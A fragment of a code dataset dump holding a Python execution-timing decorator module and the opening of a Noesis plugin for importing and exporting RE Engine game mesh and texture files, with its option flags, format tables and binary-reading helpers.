_main()\n","repo_name":"pushdown99/mbed-iot","sub_path":"mbed-cloud/subscribe.py","file_name":"subscribe.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"73263905500","text":"import time\n\ndef exec_time(function):\n def wrapper(*args, **kwargs):\n start_time = time.perf_counter()\n result = function(*args, **kwargs) # executing function\n end_time = time.perf_counter()\n\n difference = str((end_time - start_time) * 1000) # their difference\n print(f\"{function.__name__} function executed in : {difference} mil sec\")\n\n return result\n \n return wrapper\n\ndef exec_time_for(function, time_in='seconds'):\n start_time = time.perf_counter()\n function()\n end_time = time.perf_counter()\n \n execution_time = end_time - start_time\n \n if time_in == 'milliseconds':\n execution_time *= 1000\n elif time_in == 'seconds':\n pass\n elif time_in == 'minutes':\n execution_time /= 60\n else:\n raise Exception('exec_time_for() function only accepts ONE of (\\'milliseconds\\', seconds\\', \\'minutes\\') as 2 positional parameter')\n \n return execution_time\n","repo_name":"mrvaibh/python-code-execution-time","sub_path":"exec-time/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"32602325655","text":"#RE Engine [PC] - \".mesh\" plugin for Rich Whitehouse's Noesis\n#Authors: alphaZomega, Gh0stblade \n#Special thanks: Chrrox, SilverEzredes \nVersion = \"v3.18 (August 17, 2023)\"\n\n#Options: These are global options that change or enable/disable certain features\n\n#Var\t\t\t\t\t\t\t\t\t\t\t\tEffect\n#Export Extensions\nbRayTracingExport\t\t\t= True\t\t\t\t\t#Enable or disable the export of RE2R, RE3R and RE7 RayTracing meshes and textures\nbRE2Export \t\t\t\t\t= True\t\t\t\t\t#Enable or disable export of mesh.1808312334 and tex.10 from the export list\t\t\t\nbRE3Export \t\t\t\t\t= True\t\t\t\t\t#Enable or disable export of mesh.1902042334 and tex.190820018 from the export list\nbDMCExport \t\t\t\t\t= True\t\t\t\t\t#Enable or disable export of mesh.1808282334 and tex.11 from the export list\nbRE7Export \t\t\t\t\t= True\t\t\t\t\t#Enable or disable export of mesh.32 and tex.8 from the export list\nbREVExport \t\t\t\t\t= True\t\t\t\t\t#Enable or disable export of mesh.2102020001 from the export list (and tex.31)\nbRE8Export \t\t\t\t\t= True\t\t\t\t\t#Enable or disable export of mesh.2101050001 from the export list (and tex.30)\nbMHRiseExport \t\t\t\t= False\t\t\t\t\t#Enable or disable export of mesh.2008058288 from the export list (and tex.28) \nbMHRiseSunbreakExport \t\t= True\t\t\t\t\t#Enable or disable export of mesh.2109148288 from the export list (and tex.28)\nbSF6Export\t\t\t\t\t= True\t\t\t\t\t#Enable or disable export of mesh.230110883 from the export list (and tex.143230113)\nbRE4Export\t\t\t\t\t= True\t\t\t\t\t#Enable or disable export of mesh.221108797 from the export list (and tex.143221013)\n\n\n#Mesh Global\nfDefaultMeshScale \t\t\t= 100.0 \t\t\t\t#Override mesh scale (default is 1.0)\nbMaterialsEnabled \t\t\t= True\t\t\t\t\t#Load MDF Materials\nbRenderAsPoints \t\t\t= False\t\t\t\t\t#Render mesh as points without triangles drawn (1 = on, 0 = off)\nbImportAllLODs \t\t\t\t= False\t\t\t\t\t#Imports all LODGroups (as separate models)\n\n#Vertex Components (Import)\nbNORMsEnabled \t\t\t\t= True\t\t\t\t\t#Normals\nbTANGsEnabled \t\t\t\t= True\t\t\t\t\t#Tangents\nbUVsEnabled \t\t\t\t= True\t\t\t\t\t#UVs\nbSkinningEnabled \t\t\t= True\t\t\t\t\t#Enable skin weights\nbColorsEnabled\t\t\t\t= True\t\t\t\t\t#Enable Vertex Colors\nbDebugNormals \t\t\t\t= False\t\t\t\t\t#Debug normals as RGBA\nbDebugTangents \t\t\t\t= False\t\t\t\t\t#Debug tangents as RGBA\n\n#Import Options\nbPrintMDF \t\t\t\t\t= False\t\t\t\t\t#Prints debug info for MDF files\nbDebugMESH \t\t\t\t\t= False\t\t\t\t\t#Prints debug info for MESH files\nbPopupDebug \t\t\t\t= True\t\t\t\t\t#Pops up debug window on opening MESH with MDF\nbPrintFileList \t\t\t\t= True\t\t\t\t\t#Prints a list of files used by the MDF\nbColorize \t\t\t\t\t= False\t\t\t\t\t#Colors the materials of the model and lists which material is which color\nbUseOldNamingScheme \t\t= False\t\t\t\t\t#Names submeshes by their material ID (like in the MaxScript) rather than by their order in the file \nbRenameMeshesToFilenames \t= False\t\t\t\t\t#For use with Noesis Model Merger. Renames submeshes to have their filenames in the mesh names\nbImportMaterialNames\t\t= True\t\t\t\t\t#Imports material name data for each mesh, appending it to the end of each Submesh's name\nbShorterNames\t\t\t\t= True\t\t\t\t\t#Imports meshes named like \"LOD_1_Main_1_Sub_1\" instead of \"LODGroup_1_MainMesh_1_SubMesh_1\"\nbImportMips \t\t\t\t= False\t\t\t\t\t#Imports texture mip maps as separate images\ntexOutputExt\t\t\t\t= \".tga\"\t\t\t\t#File format used when linking FBX materials to images\ndoConvertMatsForBlender\t\t= False\t\t\t\t\t#Load alpha maps as reflection maps, metallic maps as specular maps and roughness maps as bump maps for use with modified Blender FBX importer\n\n#Export Options\nbNewExportMenu\t\t\t\t= False\t\t\t\t\t#Show a custom Noesis window on mesh export\nbAlwaysRewrite\t\t\t\t= False\t\t\t\t\t#Always try to rewrite the meshfile on export\nbAlwaysWriteBones\t\t\t= False\t\t\t\t\t#Always write new skeleton to mesh\nbNormalizeWeights \t\t\t= False\t\t\t\t\t#Makes sure that the weights of every vertex add up to 1.0, giving the remainder to the bone with the least influence\nbCalculateBoundingBoxes\t\t= True\t\t\t\t\t#Calculates the bounding box for each bone\nBoundingBoxSize\t\t\t\t= 1.0\t\t\t\t\t#With bCalculateBoundingBoxes False, change the size of the bounding boxes created for each rigged bone when exporting with -bones or -rewrite\nbRigToCoreBones\t\t\t\t= False\t\t\t\t\t#Assign non-matching bones to the hips and spine, when exporting a mesh without -bones or -rewrite\nbSetNumModels\t\t\t\t= True\t\t\t\t\t#Sets the header byte \"NumModels\" to defaults when exporting without -rewrite, preventing crashes\nbForceRootBoneToBone0\t\t= True\t\t\t\t\t#If the root bone is detected as the last bone in the bones list, this will move it to be the first bone in the list\n\n#Import/Export:\nbAddBoneNumbers \t\t\t= 2\t\t\t\t\t\t#Adds bone numbers and colons before bone names to indicate if they are active. 0 = Off, 1 = On, 2 = Auto\nbRotateBonesUpright\t\t\t= False\t\t\t\t\t#Rotates bones to be upright for editing and then back to normal for exporting\nbReadGroupIds\t\t\t\t= True\t\t\t\t\t#Import/Export with the GroupID as the MainMesh number\n\n#Plugin GUI\niListboxSize \t\t\t\t= 280\t\t\t\t\t#The height of the list box in the plugin's import menu\n\nfrom inc_noesis import *\nfrom collections import namedtuple\nimport noewin\nimport math\nimport os\nimport re\nimport copy\nimport time\n\ndef registerNoesisTypes():\n\n\tdef addOptions(handle):\n\t\tnoesis.setTypeExportOptions(handle, \"-noanims -notex\")\n\t\tnoesis.addOption(handle, \"-bones\", \"Write new skeleton on export\", 0)\n\t\tnoesis.addOption(handle, \"-rewrite\", \"Rewrite submeshes and materials structure\", 0)\n\t\tnoesis.addOption(handle, \"-flip\", \"Reverse handedness from DirectX to OpenGL\", 0)\n\t\tnoesis.addOption(handle, \"-bonenumbers\", \"Add bone numbers to imported bones\", 0)\n\t\tnoesis.addOption(handle, \"-meshfile\", \"Export using a given source mesh filename\", noesis.OPTFLAG_WANTARG)\n\t\tnoesis.addOption(handle, \"-b\", \"Run as a batch process\", 0)\n\t\tnoesis.addOption(handle, \"-adv\", \"Show Advanced Export Options window\", 0)\n\t\tnoesis.addOption(handle, \"-vfx\", \"Export as VFX mesh\", 0)\n\t\treturn handle\n\t\t\n\thandle = noesis.register(\"RE Engine MESH [PC]\", \".1902042334;.1808312334;.1808282334;.2008058288;.2102020001;.2101050001;.2109108288;.2109148288;.220128762;.220301866;.220721329;.221108797;.220907984;.230110883;.NewMesh\")\n\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\tnoesis.setHandlerLoadModel(handle, meshLoadModel)\n\tnoesis.addOption(handle, \"-noprompt\", \"Do not prompt for MDF file\", 0)\n\tnoesis.setTypeSharedModelFlags(handle, (noesis.NMSHAREDFL_WANTGLOBALARRAY))\n\t\n\thandle = noesis.register(\"RE Engine Texture [PC]\", \".10;.190820018;.11;.8;.28;.stm;.30;.31;.34;.35;.36;.143221013;.143230113\")\n\tnoesis.setHandlerTypeCheck(handle, texCheckType)\n\tnoesis.setHandlerLoadRGBA(handle, texLoadDDS)\n\n\thandle = noesis.register(\"RE Engine UVS [PC]\", \".5;.7\")\n\tnoesis.setHandlerTypeCheck(handle, UVSCheckType)\n\tnoesis.setHandlerLoadModel(handle, UVSLoadModel)\n\t\n\thandle = noesis.register(\"RE Engine SCN [PC]\", \".19;.20\")\n\tnoesis.setHandlerTypeCheck(handle, SCNCheckType)\n\tnoesis.setHandlerLoadModel(handle, SCNLoadModel)\n\t\n\thandle = noesis.register(\"RE Engine MOTLIST [PC]\", \".60;.85;.99;.484;.486;.500;.524;.528;.643;.653;.663\")\n\tnoesis.setHandlerTypeCheck(handle, motlistCheckType)\n\tnoesis.setHandlerLoadModel(handle, motlistLoadModel)\n\n\tif bRE2Export:\n\t\thandle = noesis.register(\"RE2 Remake Texture [PC]\", \".10\")\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA)\n\t\thandle = noesis.register(\"RE2 MESH\", (\".1808312334\"))\n\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\taddOptions(handle)\n\t\t\n\tif bRE3Export:\n\t\thandle = noesis.register(\"RE3 Remake Texture [PC]\", \".190820018\")\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA)\n\t\thandle = noesis.register(\"RE3 MESH\", (\".1902042334\"))\n\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\taddOptions(handle)\n\t\n\t#fbxskel export is disabled\n\t#handle = noesis.register(\"fbxskel\", (\".fbxskel.3\")) \n\t#noesis.setHandlerWriteModel(handle, skelWriteFbxskel)\n\t#noesis.setTypeExportOptions(handle, \"-noanims -notex\")\n\t\t\n\tif bDMCExport:\n\t\thandle = noesis.register(\"Devil May Cry 5 Texture [PC]\", \".11\")\n\t\tnoesis.setHandlerTypeCheck(handle, texCheckType)\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA)\n\t\thandle = noesis.register(\"DMC5 MESH\", (\".1808282334\"))\n\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\taddOptions(handle)\n\t\t\n\tif bREVExport or bRE8Export:\n\t\thandle = noesis.register(\"RE8 / ReVerse Texture [PC]\", \".30\")\n\t\tnoesis.setHandlerTypeCheck(handle, texCheckType)\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA);\n\t\t\n\tif bREVExport:\n\t\thandle = noesis.register(\"ReVerse MESH\", (\".2102020001\"))\n\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\taddOptions(handle)\n\t\t\n\tif bRE8Export:\n\t\thandle = noesis.register(\"RE8 MESH\", (\".2101050001\"))\n\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\taddOptions(handle)\n\t\t\n\tif bMHRiseExport or bMHRiseSunbreakExport:\n\t\thandle = noesis.register(\"MHRise Texture [PC]\", \".28;.stm\")\n\t\tnoesis.setHandlerTypeCheck(handle, texCheckType)\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA);\n\t\tif bMHRiseExport:\n\t\t\thandle = noesis.register(\"MHRise MESH\", (\".2008058288\"))\n\t\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\t\taddOptions(handle)\n\t\tif bMHRiseSunbreakExport:\n\t\t\thandle = noesis.register(\"MHRise Sunbreak MESH\", (\".2109148288\"))\n\t\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\t\taddOptions(handle)\n\t\t\n\tif bRE7Export:\n\t\thandle = noesis.register(\"Resident Evil 7 Texture [PC]\", \".8\")\n\t\tnoesis.setHandlerTypeCheck(handle, texCheckType)\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA)\n\t\t#RE7 MESH support is disabled for this version\n\t\t\n\tif bRayTracingExport:\n\t\thandle = noesis.register(\"RE2,3 RayTracing Texture [PC]\", \".34\")\n\t\tnoesis.setHandlerTypeCheck(handle, texCheckType)\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA);\n\t\thandle = noesis.register(\"RE7 RayTracing Texture [PC]\", \".35\")\n\t\tnoesis.setHandlerTypeCheck(handle, texCheckType)\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA);\n\t\thandle = noesis.register(\"RE2+3 RayTracing MESH\", (\".2109108288\"))\n\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\taddOptions(handle)\n\t\thandle = noesis.register(\"RE7 RayTracing MESH\", (\".220128762\"))\n\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\taddOptions(handle)\n\t\n\tif bSF6Export:\n\t\thandle = noesis.register(\"Street Fighter 6 Texture [PC]\", \".143230113;\")\n\t\tnoesis.setHandlerTypeCheck(handle, texCheckType)\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA);\n\t\thandle = noesis.register(\"Street Fighter 6 Mesh\", (\".230110883\"))\n\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\taddOptions(handle)\n\t\t\n\tif bRE4Export:\n\t\thandle = noesis.register(\"RE4 Remake Texture [PC]\", \".143221013\")\n\t\tnoesis.setHandlerTypeCheck(handle, texCheckType)\n\t\tnoesis.setHandlerWriteRGBA(handle, texWriteRGBA);\n\t\thandle = noesis.register(\"RE4 Remake Mesh\", (\".221108797\"))\n\t\tnoesis.setHandlerTypeCheck(handle, meshCheckType)\n\t\tnoesis.setHandlerWriteModel(handle, meshWriteModel)\n\t\taddOptions(handle)\n\t\t\n\tnoesis.logPopup()\n\treturn 1\n\t\t\n#Default global variables for internal use:\nsGameName = \"RE2\"\nsExportExtension = \".1808312334\"\nbWriteBones = False\nbDoVFX = False\nbReWrite = False\nopenOptionsDialog = None\nw1 = 127\nw2 = -128\n\nformats = {\n\t\"RE7\":\t\t\t{ \"modelExt\": \".-1\", \t\t \"texExt\": \".8\", \t\t \"mmtrExt\": \".69\", \t\t \"nDir\": \"x64\", \"mdfExt\": \".mdf2.6\", \"meshVersion\": 0, \"mdfVersion\": 0, \"mlistExt\": \".60\" },\n\t\"RE2\":\t\t\t{ \"modelExt\": \".1808312334\", \"texExt\": \".10\",\t\t \"mmtrExt\": \".1808160001\", \"nDir\": \"x64\", \"mdfExt\": \".mdf2.10\", \"meshVersion\": 1, \"mdfVersion\": 1, \"mlistExt\": \".85\" },\n\t\"DMC5\":\t\t\t{ \"modelExt\": \".1808282334\", \"texExt\": \".11\", \t\t \"mmtrExt\": \".1808168797\", \"nDir\": \"x64\", \"mdfExt\": \".mdf2.10\", \"meshVersion\": 1, \"mdfVersion\": 1, \"mlistExt\": \".85\" },\n\t\"RE3\": \t\t\t{ \"modelExt\": \".1902042334\", \"texExt\": \".190820018\", \"mmtrExt\": \".1905100741\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.13\", \"meshVersion\": 1, \"mdfVersion\": 2, \"mlistExt\": \".99\" },\n\t\"RE8\": \t\t\t{ \"modelExt\": \".2101050001\", \"texExt\": \".30\", \t\t \"mmtrExt\": \".2102188797\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.19\", \"meshVersion\": 2, \"mdfVersion\": 3, \"mlistExt\": \".486\" },\n\t\"MHRise\":\t\t{ \"modelExt\": \".2008058288\", \"texExt\": \".28\", \t\t \"mmtrExt\": \".2109301553\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.19\", \"meshVersion\": 2, \"mdfVersion\": 3, \"mlistExt\": \".484\" },\n\t\"MHRSunbreak\":\t{ \"modelExt\": \".2109148288\", \"texExt\": \".28\", \t\t \"mmtrExt\": \".220427553\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.23\", \"meshVersion\": 2, \"mdfVersion\": 3, \"mlistExt\": \".528\" },\n\t\"ReVerse\":\t\t{ \"modelExt\": \".2102020001\", \"texExt\": \".31\", \t\t \"mmtrExt\": \".2108110001\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.20\", \"meshVersion\": 2, \"mdfVersion\": 3, \"mlistExt\": \".500\" },\n\t\"RERT\": \t\t{ \"modelExt\": \".2109108288\", \"texExt\": \".34\", \t\t \"mmtrExt\": \".2109101635\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.21\", \"meshVersion\": 2, \"mdfVersion\": 3, \"mlistExt\": \".524\" },\n\t\"RE7RT\": \t\t{ \"modelExt\": \".220128762\", \"texExt\": \".35\", \t\t \"mmtrExt\": \".2109101635\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.21\", \"meshVersion\": 2, \"mdfVersion\": 3, \"mlistExt\": \".524\" },\n\t\"SF6\": \t\t\t{ \"modelExt\": \".230110883\", \"texExt\": \".143230113\", \"mmtrExt\": \".221102761\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.31\", \"meshVersion\": 3, \"mdfVersion\": 4, \"mlistExt\": \".653\" },\n\t\"ExoPrimal\": \t{ \"modelExt\": \".220907984\", \"texExt\": \".40\", \t\t \"mmtrExt\": \".221007878\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.31\", \"meshVersion\": 3, \"mdfVersion\": 4, \"mlistExt\": \".643\" },\n\t\"RE4\": \t\t\t{ \"modelExt\": \".221108797\", \"texExt\": \".143221013\", \"mmtrExt\": \".221007879\", \"nDir\": \"stm\", \"mdfExt\": \".mdf2.32\", \"meshVersion\": 3, \"mdfVersion\": 4, \"mlistExt\": \".663\" },\n}\n\nextToFormat = { #incomplete, just testing\n\t\"10\": {\n\t\t\"albm\": [99,5],\n\t\t\"albmsc\": [99,5],\n\t\t\"alba\":\t [99,1],\n\t\t\"alb\": [72,0],\n\t\t\"nrmr\": [98,6],\n\t\t\"nrm\":\t [98,1],\n\t\t\"iam\":\t [99,8],\n\t\t\"atos\": [71,4],\n\t\t\"msk1\": [80,3],\n\t},\n\t\"34\": {\n\t\t\"albm\": [99,5],\n\t\t\"albmsc\": [99,5],\n\t\t\"alba\":\t [99,1],\n\t\t\"alb\": [72,0],\n\t\t\"nrmr\": [98,6],\n\t\t\"nrm\":\t [98,1],\n\t\t\"iam\":\t [99,8],\n\t\t\"atos\": [71,4],\n\t\t\"msk1\": [80,3],\n\t},\n}\nextToFormat[\"8\"] = extToFormat[\"10\"]\nextToFormat[\"11\"] = extToFormat[\"10\"]\nextToFormat[\"190820018\"] = extToFormat[\"10\"]\nextToFormat[\"30\"] = extToFormat[\"34\"]\nextToFormat[\"35\"] = extToFormat[\"34\"]\nextToFormat[\"28\"] = extToFormat[\"34\"]\nextToFormat[\"143221013\"] = extToFormat[\"34\"]\nextToFormat[\"28.stm\"] = extToFormat[\"28\"]\n\n\ntex_format_list = {\n\t0: \"UNKNOWN\",\n\t1: \"R32G32B32A32_TYPELESS\",\n\t2: \"R32G32B32A32_FLOAT\",\n\t3: \"R32G32B32A32_UINT\",\n\t4: \"R32G32B32A32_SINT\",\n\t5: \"R32G32B32_TYPELESS\",\n\t6: \"R32G32B32_FLOAT\",\n\t7: \"R32G32B32_UINT\",\n\t8: \"R32G32B32_SINT\",\n\t9: \"R16G16B16A16_TYPELESS\",\n\t10: \"R16G16B16A16_FLOAT\",\n\t11: \"R16G16B16A16_UNORM\",\n\t12: \"R16G16B16A16_UINT\",\n\t13: \"R16G16B16A16_SNORM\",\n\t14: \"R16G16B16A16_SINT\",\n\t15: \"R32G32_TYPELESS\",\n\t16: \"R32G32_FLOAT\",\n\t17: \"R32G32_UINT\",\n\t18: \"R32G32_SINT\",\n\t19: \"R32G8X24_TYPELESS\",\n\t20: \"D32_FLOAT_S8X24_UINT\",\n\t21: \"R32_FLOAT_X8X24_TYPELESS\",\n\t22: \"X32_TYPELESS_G8X24_UINT\",\n\t23: \"R10G10B10A2_TYPELESS\",\n\t24: \"R10G10B10A2_UNORM\",\n\t25: \"R10G10B10A2_UINT\",\n\t26: \"R11G11B10_FLOAT\",\n\t27: \"R8G8B8A8_TYPELESS\",\n\t28: \"R8G8B8A8_UNORM\",\n\t29: \"R8G8B8A8_UNORM_SRGB\",\n\t30: \"R8G8B8A8_UINT\",\n\t31: \"R8G8B8A8_SNORM\",\n\t32: \"R8G8B8A8_SINT\",\n\t33: \"R16G16_TYPELESS\",\n\t34: \"R16G16_FLOAT\",\n\t35: \"R16G16_UNORM\",\n\t36: \"R16G16_UINT\",\n\t37: \"R16G16_SNORM\",\n\t38: \"R16G16_SINT\",\n\t39: \"R32_TYPELESS\",\n\t40: \"D32_FLOAT\",\n\t41: \"R32_FLOAT\",\n\t42: \"R32_UINT\",\n\t43: \"R32_SINT\",\n\t44: \"R24G8_TYPELESS\",\n\t45: \"D24_UNORM_S8_UINT\",\n\t46: \"R24_UNORM_X8_TYPELESS\",\n\t47: \"X24_TYPELESS_G8_UINT\",\n\t48: \"R8G8_TYPELESS\",\n\t49: \"R8G8_UNORM\",\n\t50: \"R8G8_UINT\",\n\t51: \"R8G8_SNORM\",\n\t52: \"R8G8_SINT\",\n\t53: \"R16_TYPELESS\",\n\t54: \"R16_FLOAT\",\n\t55: \"D16_UNORM\",\n\t56: \"R16_UNORM\",\n\t57: \"R16_UINT\",\n\t58: \"R16_SNORM\",\n\t59: \"R16_SINT\",\n\t60: \"R8_TYPELESS\",\n\t61: \"R8_UNORM\",\n\t62: \"R8_UINT\",\n\t63: \"R8_SNORM\",\n\t64: \"R8_SINT\",\n\t65: \"A8_UNORM\",\n\t66: \"R1_UNORM\",\n\t67: \"R9G9B9E5_SHAREDEXP\",\n\t68: \"R8G8_B8G8_UNORM\",\n\t69: \"G8R8_G8B8_UNORM\",\n\t70: \"BC1_TYPELESS\",\n\t71: \"BC1_UNORM\",\n\t72: \"BC1_UNORM_SRGB\",\n\t73: \"BC2_TYPELESS\",\n\t74: \"BC2_UNORM\",\n\t75: \"BC2_UNORM_SRGB\",\n\t76: \"BC3_TYPELESS\",\n\t77: \"BC3_UNORM\",\n\t78: \"BC3_UNORM_SRGB\",\n\t79: \"BC4_TYPELESS\",\n\t80: \"BC4_UNORM\",\n\t81: \"BC4_SNORM\",\n\t82: \"BC5_TYPELESS\",\n\t83: \"BC5_UNORM\",\n\t84: \"BC5_SNORM\",\n\t85: \"B5G6R5_UNORM\",\n\t86: \"B5G5R5A1_UNORM\",\n\t87: \"B8G8R8A8_UNORM\",\n\t88: \"B8G8R8X8_UNORM\",\n\t89: \"R10G10B10_XR_BIAS_A2_UNORM\",\n\t90: \"B8G8R8A8_TYPELESS\",\n\t91: \"B8G8R8A8_UNORM_SRGB\",\n\t92: \"B8G8R8X8_TYPELESS\",\n\t93: \"B8G8R8X8_UNORM_SRGB\",\n\t94: \"BC6H_TYPELESS\",\n\t95: \"BC6H_UF16\",\n\t96: \"BC6H_SF16\",\n\t97: \"BC7_TYPELESS\",\n\t98: \"BC7_UNORM\",\n\t99: \"BC7_UNORM_SRGB\",\n\t100: \"AYUV\",\n\t101: \"Y410\",\n\t102: \"Y416\",\n\t103: \"NV12\",\n\t104: \"P010\",\n\t105: \"P016\",\n\t106: \"_420_OPAQUE\",\n\t107: \"YUY2\",\n\t108: \"Y210\",\n\t109: \"Y216\",\n\t110: \"NV11\",\n\t111: \"AI44\",\n\t112: \"IA44\",\n\t113: \"P8\",\n\t114: \"A8P8\",\n\t115: \"B4G4R4A4_UNORM\",\n\t130: \"P208\",\n\t131: \"V208\",\n\t132: \"V408\",\n\t0xffffffff: \"FORCE_UINT\" \n}\n\ndef sort_human(List):\n\tconvert = lambda text: float(text) if text.isdigit() else text\n\treturn sorted(List, key=lambda mesh: [convert(c) for c in re.split('([-+]?[0-9]*\\.?[0-9]*)', mesh.name)])\n\ndef meshCheckType(data):\n\tbs = NoeBitStream(data)\n\tmagic = bs.readUInt()\n\t\n\tif magic == 0x4853454D:\n\t\treturn 1\n\telse: \n\t\tprint(\"Fatal Error: Unknown file magic: \" + str(hex(magic) + \" expected 'MESH'!\"))\n\t\treturn 0\n\ndef texCheckType(data):\n\tbs = NoeBitStream(data)\n\tmagic = bs.readUInt()\n\tif magic == 0x00584554:\n\t\treturn 1\n\telse: \n\t\tprint(\"Fatal Error: Unknown file magic: \" + str(hex(magic) + \" expected TEX!\"))\n\t\treturn 0\n\ndef UVSCheckType(data):\n\tbs = NoeBitStream(data)\n\tmagic = bs.readUInt()\n\tif magic == 1431720750:\n\t\treturn 1\n\telse: \n\t\tprint(\"Fatal Error: Unknown file magic: \" + str(hex(magic) + \" expected ' SVU'!\"))\n\t\treturn 0\n\t\t\ndef readUIntAt(bs, readAt):\n\tpos = bs.tell()\n\tbs.seek(readAt)\n\tvalue = bs.readUInt()\n\tbs.seek(pos)\n\treturn value\n\t\ndef readUShortAt(bs, tell):\n\tpos = bs.tell()\n\tbs.seek(tell)\n\tout = bs.readUShort()\n\tbs.seek(pos)\n\treturn out\n\t\ndef readUByteAt(bs, tell):\n\tpos = bs.tell()\n\tbs.seek(tell)\n\tout = bs.readUByte()\n\tbs.seek(pos)\n\treturn out\n\ndef ReadUnicodeString(bs):\n\tnumZeroes = 0\n\tresultString = \"\"\n\twhile(numZeroes < 2):\n\t\tc = bs.readUByte()\n\t\tif c == 0:\n\t\t\tnumZeroes+=1\n\t\t\tcontinue\n\t\telse:\n\t\t\tnumZeroes = 0\n\t\tresultString += chr(c)\n\treturn resultString\n\ndef readUnicodeStringAt(bs, tell):\n\tstring = []\n\tpos = bs.tell()\n\tbs.seek(tell)\n\twhile(readUShortAt(bs, bs.tell()) != 0):\n\t\tstring.append(bs.readByte())\n\t\tbs.seek(1,1)\n\tbs.seek(pos)\n\tbuff = struct.pack(\"<\" + 'b'*len(string), *string)\n\treturn str(buff, 'utf-8')\n\t\t\ndef GetRootGameDir(path=\"\"):\n\tpath = rapi.getDirForFilePath(path or rapi.getInputName())\n\twhile len(path) > 3:\n\t\tlastFolderName = os.path.basename(os.path.normpath(path)).lower()\n\t\tif lastFolderName == \"stm\" or lastFolderName == \"x64\":\n\t\t\tbreak\n\t\telse:\n\t\t\tpath = os.path.normpath(os.path.join(path, \"..\"))\n\treturn path\t+ \"\\\\\"\n\t\ndef LoadExtractedDir(gameName=None):\n\tgameName = gameName or sGameName\n\tnativesPath = \"\"\n\ttry: \n\t\twith open(noesis.getPluginsPath() + '\\python\\\\' + gameName + 'NativesPath.txt') as fin:\n\t\t\tnativesPath = fin.read()\n\t\t\tfin.close()\n\texcept IOError:\n\t\tpass\n\tif not os.path.isdir(nativesPath):\n\t\treturn \"\"\n\treturn nativesPath\t\n\t\t\ndef SaveExtractedDir(dirIn, gameName=None):\n\tgameName = gameName or sGameName\n\ttry: \n\t\tprint (noesis.getPluginsPath() + 'python\\\\' + gameName + 'NativesPath.txt')\n\t\twith open(noesis.getPluginsPath() + 'python\\\\' + gameName + 'NativesPath.txt', 'w') as fout:\n\t\t\tprint (\"Writing string: \" + dirIn + \" to \" + noesis.getPluginsPath() + 'python\\\\' + gameName + 'NativesPath.txt')\n\t\t\tfout.flush()\n\t\t\tfout.write(str(dirIn))\n\t\t\tfout.close()\n\texcept IOError:\n\t\tprint (\"Failed to save natives path: IO Error\")\n\t\treturn 0\n\treturn 1\n\t\ndef findRootDir(path):\n\tidx = path.find(\"\\\\natives\\\\\")\n\tif idx != -1:\n\t\treturn path[:(idx + 9)]\n\treturn path\n\t\ndef getGlobalMatrix(noebone, bonesList): #doesnt work 100%?\n\tmat = noebone.getMatrix()\n\tparent = bonesList[noebone.parentIndex] if noebone.parentIndex != -1 else None\n\tif parent:\n\t\tmat *= parent.getMatrix().inverse()\n\treturn mat.transpose()\n\t\ndef getChildBones(parentBone, boneList, doRecurse=False):\n\tchildren = []\n\tfor bone in boneList:\n\t\tif bone.parentName == parentBone.name and bone not in children:\n\t\t\tchildren.append(bone)\n\t\t\tif doRecurse:\n\t\t\t\tchildren.extend(getChildBones(bone, boneList, True))\n\t\t\tbreak\n\treturn children\n\t\ndef cleanBoneName(name):\n\tsplitted = name.split(\":\", 1)\n\treturn splitted[len(splitted)-1]\n\ndef generateBoneMap(mdl):\n\tusedBones = [False for bone in mdl.bones]\n\tboneNames = [bone.name.lower() for bone in mdl.bones]\n\tboneMapCount = 0\n\tfor bone in mdl.bones:\n\t\tif bone.parentIndex != -1 and bone.parentName:\n\t\t\tbone.parentIndex = boneNames.index(bone.parentName.lower())\n\tfor mesh in mdl.meshes:\n\t\tfor weightList in mesh.weights:\n\t\t\tfor idx in weightList.indices:\n\t\t\t\tusedBones[idx] = True\n\tfor i, bone in enumerate(mdl.bones):\n\t\tbone.name = cleanBoneName(bone.name)\n\t\tif usedBones[i]:\n\t\t\tbone.name = \"b\" + 